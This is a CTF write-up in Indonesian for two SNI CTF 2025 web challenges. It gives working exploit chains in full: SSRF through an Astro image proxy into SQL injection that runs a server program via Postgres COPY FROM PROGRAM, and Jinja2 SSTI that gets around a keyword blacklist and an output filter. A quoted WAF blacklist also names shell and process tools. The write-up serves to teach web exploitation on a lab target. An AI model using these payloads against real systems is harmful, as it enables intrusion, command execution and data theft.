SNI CTF 2025 - Web
Photo Gallery
Target: http://178.128.116.83:4321/
Intro
Di depan mata ini cuma photo gallery lucu: upload gambar, liat thumbnail, selesai.
Tapi justru karena “cuma gallery”, kita sering lengah sama satu hal: gambar itu harus diambil dari mana?
Dan di challenge ini, jawabannya bikin kita senyum tipis: server punya image proxy/optimizer yang mau nge-fetch() URL apa pun… lalu di belakangnya ada API internal yang ngobrol sama database pakai query string buatan tangan.
Aku ceritain perjalanan dari recon sampai flag-nya kebuka—ringkas, tajam, tapi tetap enak diikutin.
Recon: baca halaman, tangkap “bau” yang aneh
Buka target:
curl -sS http://178.128.116.83:4321/ | head
Kalau kamu scroll source HTML-nya (atau buka lewat browser → View Source), bagian gallery biasanya ngasih petunjuk paling jujur. Dan di sini, thumbnail pakai URL kayak gini:
/_image?href=http%3A%2F%2Flocalhost%3A4321%2Fapi%2Fimages%2F<ID>&w=320&h=320&f=webp
Kalimatnya: server melakukan fetch ke sebuah href=, lalu mengubahnya jadi gambar (w/h/f).
Di dunia CTF, pola ini sering berarti satu kata: SSRF.
Peta sistem: dua service, satu pintu depan
Dari docker-compose.yml:
app:
ports:
- "4321:4321"
Di container app, ternyata ada dua proses (lihat deploy/apps/start.sh):
python3 /app/internal/app.py & # Flask API (port 5000)
node /app/external/dist/server/entry.mjs & # Astro frontend (port 4321)
Frontend Astro di :4321 jadi “pintu depan”. Flask internal jalan di :5000 dan harusnya gak bisa kita akses langsung dari luar.
Kalau ada SSRF, itu artinya: Astro bisa kita paksa buat ngobrol sama Flask.
Bug #1 — SSRF via /_image (Astro image optimizer)
Konfigurasinya terlalu permisif (deploy/apps/external/astro.config.mjs):
image: { remotePatterns: [{ protocol: 'http' }, { protocol: 'https' }] },
Artinya: selama href= adalah http(s)://..., Astro akan coba fetch.
Dan karena fetch-nya terjadi di server, target seperti ini jadi legal:
http://localhost:5000/...(Flask internal)http://127.0.0.1:5000/...- bahkan service internal lain kalau ada
Ini bukan cuma SSRF “cek port”. Ini SSRF yang benar-benar jadi jembatan ke backend internal.
Bug #2 — SQL injection yang “muncul kalau param-nya dobel”
Sekarang kita intip Flask API (deploy/apps/internal/blueprints/api.py). Ada helper kecil:
def get_param(name, default=None):
values = request.args.getlist(name)
if not values:
return default
if len(values) == 1:
return values[0]
return values
Kalau kita kirim ?title=x, title itu string.
Tapi kalau kita kirim ?title=x&title=y, title berubah jadi list.
Lalu title dipakai di query ini:
rows = conn.run(
f"SELECT ... FROM images "
f"WHERE title={literal(title)} OR {literal(title)} IS NULL "
f"ORDER BY id DESC LIMIT {literal(limit)} OFFSET {literal((page - 1) * limit)}",
)
Sekilas kelihatan aman karena pakai pg8000.native.literal(...). Masalahnya: literal() punya implementasi khusus untuk list.
Kalau title adalah list, literal(list) membentuk string array Postgres tanpa escaping karakter ' di tiap elemennya. Jadi payload seperti:
title=x'; <SQL-KITA>; --
title=y
akan menghasilkan potongan query yang “pecah” seperti ini (konsepnya):
WHERE title='{x'; <SQL-KITA>; -- ,y}' OR ...
Single-quote dari payload nutup string lebih awal → sisanya jadi SQL bebas → stacked query jalan.
Inilah momen “klik” paling satisfying: bug-nya bukan di title biasa, tapi di title yang dikirim dobel.
Kenapa ini jadi flag? Karena DB container punya /readflag SUID
Di deploy/db/Dockerfile:
COPY flag /flag
RUN chmod 400 /flag
RUN gcc /readflag.c -o /readflag
RUN chmod 4755 /readflag
/flag cuma bisa dibaca root. Tapi ada binary /readflag yang SUID root, dan tugasnya cuma:
fopen("/flag","r"); fgets(...); printf("%s\n", s);
Kalau kita bisa bikin Postgres menjalankan /readflag, kita dapat isi flag.
Postgres punya fitur “nakal tapi resmi”: COPY ... FROM PROGRAM 'cmd'.
Jadi targetnya jelas:
- SQLi → jalankan
COPY ... FROM PROGRAM '/readflag' - simpan outputnya ke tempat yang bisa kita baca dari web (misalnya
images.title) - ambil lagi lewat endpoint publik
/api/images
Exploit: SSRF ➜ SQLi ➜ COPY FROM PROGRAM ➜ flag muncul di title
1) Payload SQL (stacked query)
Strateginya:
- bikin table
leak(flag text) COPY leak FROM PROGRAM '/readflag'UPDATE images SET title=(SELECT flag FROM leak LIMIT 1) WHERE id=(SELECT MAX(id) FROM images)
Aku pakai /**/ sebagai pengganti spasi biar lebih “URL-friendly”.
2) Bungkus pakai SSRF /_image?href=...
Karena yang bisa kita akses dari luar cuma :4321, kita “nitip request” lewat Astro image optimizer:
URL="$(python3 - <<'PY'
import urllib.parse
HOST = "178.128.116.83:4321"
payload = (
"x';BEGIN;"
"DROP/**/TABLE/**/IF/**/EXISTS/**/leak;"
"CREATE/**/TABLE/**/leak(flag/**/text);"
"COPY/**/leak/**/FROM/**/PROGRAM/**/'/readflag';"
"UPDATE/**/images/**/SET/**/title=("
"SELECT/**/flag/**/FROM/**/leak/**/LIMIT/**/1"
")/**/WHERE/**/id=("
"SELECT/**/MAX(id)/**/FROM/**/images"
");"
"COMMIT;--"
)
inner = (
"http://localhost:5000/api/images?"
"title=" + urllib.parse.quote(payload, safe="") +
"&title=y"
)
print(
f"http://{HOST}/_image?"
"href=" + urllib.parse.quote(inner, safe="") +
"&w=1&h=1&f=png"
)
PY
)"
curl -sS "$URL" -o /dev/null -w "%{http_code}\n"
Catatan: output 500 itu normal; yang penting side-effect SQL-nya jalan.
3) Ambil flag dari endpoint publik
Setelah SQL berhasil, flag akan nongol sebagai title di item terbaru:
curl -sS http://178.128.116.83:4321/api/images | rg 'SNI\\{'
Dan kita dapat flag nya.
Flag
SNI{s1mpL3_$$RF_$Qli_R1ght?}
SNI Basecamp
Target: http://178.128.116.83:33339/
Intro
Challenge SNI Basecamp ini sekilas kelihatan “template landing page” biasa: navbar Bootstrap, status role di pojok, dan beberapa menu seperti Preview, Render, Multiplier, dan Media. Tampilan home juga polos:
$ curl -i http://178.128.116.83:33339/
...
STATUS: USER
Tidak ada form login, tidak ada tombol “promote to admin”. Tapi ada satu rute yang sangat menggoda:
/admin→ selalu bilang “Access denied.” ketika role kita masih USER/flag→ cuma bisa diakses kalausession["is_admin"] == True
Jadi misi kita jelas: gimana cara meng-upgrade diri dari USER jadi ADMIN, atau minimal baca flag tanpa lewat jalan resmi.
Sisi menariknya: back-end-nya Flask, templating-nya Jinja2, dan ada WAF kecil-kecilan yang berusaha menahan kita. Di write-up ini aku ceritakan perjalanan dari recon, baca source, sampai nemu chain SSTI + bypass WAF + bypass outbound-filter yang akhirnya ngobrol langsung dengan FLAG.
Recon: keliling halaman & fitur
Pertama, jalan-jalan dulu ke semua endpoint publik:
$ curl -i http://178.128.116.83:33339/
$ curl -i http://178.128.116.83:33339/admin
$ curl -i http://178.128.116.83:33339/preview
$ curl -i http://178.128.116.83:33339/render
$ curl -i http://178.128.116.83:33339/multiplier
$ curl -i http://178.128.116.83:33339/media
Observasi singkat:
/adminselalu menampilkan “Restricted – Access denied.”, tapi HTTP status-nya 200 (bukan redirect, bukan 403)./previewmenyediakan form “Expression” dan mengeksekusi ekspresi itu di server lalu menampilkan outputnya di dalam “terminal”./rendermirip, tapi membiarkan kita memilih body expression dan layout./multiplierminta dua ekspresi: satu untuk header key, satu untuk header value. Outputnya dikirim ke header HTTP dan cookietrace./mediacuma embed video YouTube (ini jebakan biar kita terdistraksi).
Jadi ada tiga kandidat kuat untuk bug web:
/preview(eksekusi ekspresi Jinja)/render(lebih bebas, bisa pilih layout)/multiplier(eksekusi ekspresi lalu output ke header/cookie)
Selebihnya, kita butuh lihat source buat ngerti apakah ini sekadar kalkulator atau sudah masuk ranah SSTI full-power.
Baca Source: memahami “sandbox” ala penulis chall
Di environment, cuma ada satu file:
$ ls
app.py
Inti aplikasinya ada di app.py, dan highlight pentingnya seperti ini (diringkas):
app = Flask(__name__)
app.secret_key = SECRET
with open("flag.txt", "r") as f:
FLAG = f.read().strip()
def helper():
return 1
def xs(seq, start=0, end=None):
return seq[start:end]
def xr(s, a, b):
return str(s).replace(a, b)
app.jinja_env.globals["h"] = helper
app.jinja_env.filters["xs"] = xs
app.jinja_env.filters["xr"] = xr
Beberapa hal menarik langsung muncul:
FLAGdibaca sekali di global, bukan dari file di tiap request.- Ada helper
hyang diekspos ke Jinja sebagai global. - Ada dua filter custom
xsdanxryang bisa membantu manipulasi string.
Lalu ada WAF versi inbound yang cukup agresif:
BLACK_LIST = [
"application", "request", "wsgi", "environ", "getitem", "}}", "{{", "import", "from",
"builtin", "builtins", "os", "system", "popen", "subprocess", "eval", "exec", "code",
"read", "open", "file", "path", "root", "home", "bin", "bash", "sh", "cat", "flag", "secret",
"session", "cookie", "config", "globals", "mro", "subclass", "subclasses", "class", "type",
"base", "inspect", "sys", "site", "loader", "importlib", "compile", "lambda", "locals", "vars",
"dir", "repr", "format", "python", "jinja", "safe", "range", "join", "joiner", "cycler",
"namespace", "update", "pop", "clear", "items", "values", "walk", "glob", "json", "pickle",
"marshal", "yaml", "hash", "hashlib", "get", "attribute", "groupby",
]
def is_blocked(value):
if not value:
return False
try:
lowered = unicodedata.normalize("NFKC", str(value)).lower()
except Exception:
lowered = str(value).lower()
return any(x in lowered for x in BLACK_LIST)
@app.before_request
def inbound_waf():
parts = [request.path, request.query_string.decode("latin-1", "ignore"), body, ...]
...
for part in parts:
if part and is_blocked(part):
return Response("blocked", status=400, mimetype="text/plain")
Jadi:
- Semua request (path, query, body) akan di-scan untuk substring blacklist (case-insensitive, setelah normalisasi Unicode).
- Kalau ada satu saja yang match → langsung
blocked.
Sebagai penutup, ada outbound WAF yang lebih sadis:
BLOCKED_PREFIX = "SNI{"
@app.after_request
def outbound_waf(response):
...
combined = "\n".join(parts)
if FLAG in combined or BLOCKED_PREFIX.lower() in combined.lower():
return Response("denied", mimetype="text/plain")
return response
Artinya:
- Walaupun kita berhasil mengeksekusi SSTI dan menyentuh
FLAG, selama stringFLAGatau substring"SNI{"muncul di body atau header response, output final akan diubah jadi"denied". - Jadi permainan kita bukan sekadar “baca flag”, tapi baca flag tanpa pernah mengeluarkan
SNI{ke wire.
Bug utama: SSTI di /preview, /render, dan /multiplier
Sekarang lihat handler yang mencurigakan.
/preview
@app.route("/preview")
def preview():
expr = request.args.get("tpl", "")
if not expr:
return render_template("preview.html", result="", expr="")
if is_blocked(expr):
return render_template("preview.html", result="blocked", expr=expr)
try:
out = render_template_string("{{" + expr + "}}")
except Exception:
out = "error"
return render_template("preview.html", result=out, expr=expr)
expr langsung dilempar ke Jinja sebagai expression di dalam {{ ... }}. Ini Server-Side Template Injection klasik, tapi dipagari oleh:
- blacklist WAF (
is_blocked(expr)) - outbound filter (nggak boleh ada
FLAG/SNI{di response)
Uji coba sederhana:
$ curl "http://178.128.116.83:33339/preview?tpl=1+2"
...
output
3
Artinya: kita bisa eksekusi expression Jinja sepuasnya, selama string-nya lolos blacklist.
/render
@app.route("/render")
def render_view():
raw = request.query_string.decode("latin-1", "ignore")
tpl = ""
layout = "base.html"
for part in raw.split("&"):
if part.startswith("tpl="):
tpl = part[4:]
elif part.startswith("layout="):
layout = part[7:] or "base.html"
...
if is_blocked(tpl) or is_blocked(layout):
return render_template("render.html", expr=tpl, layout=layout, result="blocked")
try:
t = (
"{% extends '"
+ layout
+ "' %}{% block content %}{{"
+ tpl
+ "}}{% endblock %}"
)
out = render_template_string(t, is_admin=session.get("is_admin"))
except Exception:
out = "error"
tpl di sini juga expression Jinja, persis seperti di /preview, hanya saja dibungkus dengan {% extends ... %}. Menarik, tapi untuk eksploitasi akhir aku tidak perlu pakai route ini—lebih simple lewat /preview.
/multiplier
@app.route("/multiplier")
def multiplier():
k = request.args.get("k", "")
v = request.args.get("v", "")
...
if is_blocked(k) or is_blocked(v):
...
try:
rk_raw = render_template_string("{{" + k + "}}")
rv = render_template_string("{{" + v + "}}")
except Exception:
...
header_name = "".join(ch for ch in rk_raw if 33 <= ord(ch) <= 126) or "X-Trace"
header_name = header_name[:64]
header_value = str(rv)[:128]
resp.headers[header_name] = header_value
resp.set_cookie("trace", header_value, httponly=False, samesite="Lax")
Di sini juga ada SSTI ganda: k untuk nama header, v untuk nilai. hasil rv kita dipasang ke header dan cookie. Lagi-lagi, semua tetap diawasi outbound WAF (kalau ada "SNI{" di header, juga bakal kena).
Kesimpulan: kita punya beberapa SSTI engine, tapi semua:
- disaring inputnya oleh blacklist
is_blocked - disensor output-nya oleh outbound WAF (
FLAG/SNI{→denied)
Tantangan yang sebenarnya: bukan sekadar bikin SSTI, tapi bypass dua lapis proteksi sekaligus.
Menyentuh FLAG lewat Jinja: bypass blacklist
Langkah berikutnya: cari cara menyentuh FLAG dari dalam sandbox Jinja.
Di Python, variabel global modul bisa diakses dari Jinja kalau kita bisa mendapatkan objek modulnya, atau memanfaatkan global bawaan. Di sini ada clue: helper h diinject sebagai global:
app.jinja_env.globals["h"] = helper
Dalam konteks Jinja, h adalah objek function Python. Biasanya, dari function, kita bisa menelusuri ke __globals__ yang berisi semua variabel global modul, termasuk FLAG. Di Jinja, attribute bisa diakses dengan filter attr.
Secara teori, ekspresinya:
(h|attr("__globals__"))["FLAG"]
Masalahnya: kata globals dan flag keduanya ada di blacklist:
"globals"→ ada diBLACK_LIST"flag"→ juga diblok
Kita butuh cara membentuk string "__globals__" dan "FLAG" tanpa menuliskannya literal.
Untungnya, Jinja punya operator concatenation ~. Jadi "__glo" ~ "bals__" tidak mengandung substring "globals" di level source, tapi di runtime jadi "__globals__". Hal yang sama bisa kita lakukan untuk "FLAG":
('__glo' ~ 'bals__') → "__globals__"
'F' ~ 'L' ~ 'A' ~ 'G' → "FLAG"
Maka payload SSTI yang lebih stealth:
(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G']
Sebelum dites ke server, aku cek dulu apakah string ini bakal ketemu blacklist secara lokal (biar nggak bolak-balik “blocked”):
BLACK_LIST = [...]
def is_blocked(value):
import unicodedata
if not value:
return False
try:
lowered = unicodedata.normalize("NFKC", str(value)).lower()
except Exception:
lowered = str(value).lower()
return any(x in lowered for x in BLACK_LIST)
expr = "(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G']"
print(is_blocked(expr)) # False
Hasilnya False, artinya payload ini aman dari inbound WAF.
Sekarang coba jalankan di Jinja lokal dengan FLAG dummy:
from jinja2 import Environment
env = Environment()
FLAG = "SNI{test_flag}"
def helper():
return 1
expr = "(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G']"
tpl = env.from_string("{{ " + expr + " }}")
print(tpl.render(h=helper, FLAG=FLAG))
Output:
SNI{test_flag}
Jadi secara teori, di server pun akan seperti itu. Hanya saja, kalau kita langsung kirim:
GET /preview?tpl=(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G']
meski inbound WAF mengizinkan, outbound WAF akan panik karena response body berisi "SNI{" → hasil akhir cuma "denied".
Kita butuh cara mengeluarkan info FLAG tanpa memicu substring "SNI{".
Bypass outbound WAF: balik string FLAG
Trik klasik untuk melewati filter substring adalah memanipulasi output di sisi server, sehingga value yang dikirim ke klien tidak lagi mengandung pattern yang dicari, tapi masih cukup untuk kita kembalikan ke bentuk asli di sisi kita.
Outbound WAF hanya peduli pada:
if FLAG in combinedor "sni{" in combined.lower()
Dia tidak mengecek kebalikannya, tidak mengecek hex-nya, tidak mengecek base64-nya. Itu berarti kita bisa:
- Menghasilkan FLAG, lalu di-reverse sebelum dikirim.
- Di sisi klien, reverse lagi untuk mengembalikannya.
Dalam Jinja, reverse string bisa dilakukan dengan slicing [::-1]. Jadi ekspresi yang tadinya:
(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G']
kita modifikasi jadi:
(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G'][::-1]
Aku cek dulu lokal:
from jinja2 import Environment
env = Environment()
FLAG = "SNI{test_flag}"
def helper():
return 1
expr = "(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G'][::-1]"
tpl = env.from_string("{{ " + expr + " }}")
print(tpl.render(h=helper, FLAG=FLAG))
Output:
}galf_tset{INS
Tidak ada "SNI{" di string ini, jadi outbound WAF seharusnya senang-senang saja. Tinggal kirim ke server.
Di sisi HTTP, aku pakai curl tanpa encode aneh-aneh, hanya mematikan globbing:
$ curl --globoff \
"http://178.128.116.83:33339/preview?tpl=(h|attr('__glo'~'bals__'))['F'~'L'~'A'~'G'][::-1]"
Output HTML-nya (dipotong ke bagian penting):
<div class="terminal mt-4">
<div><span class="prompt">preview</span>:<span class="path">/run</span>$ output</div>
<div>}sss4pyb_3lpmis_4_tsuj_aw1jd_p4tn4um{INS</div>
</div>
String di terminal:
}sss4pyb_3lpmis_4_tsuj_aw1jd_p4tn4um{INS
Kalau kita balik lagi di lokal:
$ python - << 'PY'
s = "}sss4pyb_3lpmis_4_tsuj_aw1jd_p4tn4um{INS"
print(s[::-1])
PY
Hasil:
SNI{mu4nt4p_dj1wa_just_4_simpl3_byp4sss}
Outbound WAF tidak protes, karena yang keluar ke wire tidak pernah mengandung substring "SNI{", tapi kita tetap berhasil mengembalikan flag di sisi kita.
Flag
SNI{mu4nt4p_dj1wa_just_4_simpl3_byp4sss}